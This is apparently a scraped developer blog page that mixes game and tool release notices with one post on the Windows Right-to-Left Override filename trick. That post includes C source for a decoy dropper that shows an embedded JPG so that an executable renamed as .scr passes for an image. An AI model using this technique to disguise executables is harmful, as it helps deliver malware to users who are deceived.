MAME Compiler 64 v2.0 Released
- UI Update, new options added, auto-download source and patches

MAME Compiler 64 v2.0 Released

So there's an interesting bug in Windows when using the U+202E unicode Right-to-Left Override [RLO] character in a filename. You can essentially make a dangerous file masquerade as something harmless like an image file.
As a proof of concept look at the following example. Here we have a perfectly innocent meme called Narcs.jpg. We embed it as a resource in a simple C application.

#include <windows.h>
#include <fstream.h>
#include <tchar.h>
#include "resource.h"
#define BUFSIZE 65536
#define countof(array) (sizeof(array)/sizeof(array[0]))
void Debug(LPCTSTR szFormat, ...);
int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
DWORD dwRetVal;
DWORD dwBufSize = BUFSIZE;
WCHAR lpPathBuffer[BUFSIZE];
CHAR lpPath[BUFSIZE];
dwRetVal = GetTempPath(dwBufSize, lpPathBuffer);
_tcscat(lpPathBuffer, L"Narcs.jpg");
wcstombs(lpPath, lpPathBuffer, BUFSIZE - 1);
HRSRC hrSrc = FindResource(hInstance, MAKEINTRESOURCE(IDR_JPEG1), TEXT("JPG"));
if (!hrSrc)
return 0;
HGLOBAL hJpeg = LoadResource(hInstance, hrSrc);
if (!hJpeg)
return 0;
DWORD jpegSize = SizeofResource(hInstance, hrSrc);
if (!jpegSize)
return 0;
unsigned char* jpegData = (unsigned char*)LockResource(hJpeg);
if (!jpegData)
return 0;
std:fstream outputFile(lpPath, ios::out | ios::binary);
outputFile.write(jpegData, jpegSize);
outputFile.close();
ShellExecute(NULL, NULL, lpPathBuffer, NULL, NULL, SW_SHOWNORMAL);
return 0;
}
It's compiled to Narcs.exe. The trick now is to rename it like so:

Now the file will appear to be named Narcs.jpg but upon launch will run and extract the Narcs.jpg to the Temp folder and display it using the default Shell application associated with jpegs. The problem here is a screensaver file (extension .scr) is essentially an executable and can now do whatever nafarious things it likes.
Thankfully Microsoft is aware of this issue and Windows Defender will now detect and quaranteen such a file immediately.
I ported the famous Scary Spider game written in Flash to Unity and of course I had to add a Red Back spider (as I'm originally from Australia)!


Our latest update is out and adds a host of new and unique games.
It has come to our attention that online leaderboards are not functioning for Klondike. This will be rectified in an update soon. Any scores achieved in the meantime will automatically be submitted to game centre when the update is released.

Jungool is now FREE.

Celebrate Thanksgiving with our special 'All Games Pack' sale. Massive discount don't miss out!
We are readying a new release for Oct, with a host of new and wonderful games.
If you have any suggestions for a game that we have not got in our Solitaire collection, please let us know and we will do our best to include it.
Color2Alpha 1.2 Released
https://www.baker76.com/color2alpha

An early demonstration of the Proteus and Headsoft collaboration on the DS version of Warhawk.
Those where the days 🙂 Cannot believe it was over 4 years ago. Crumbs!

Free for a limited period.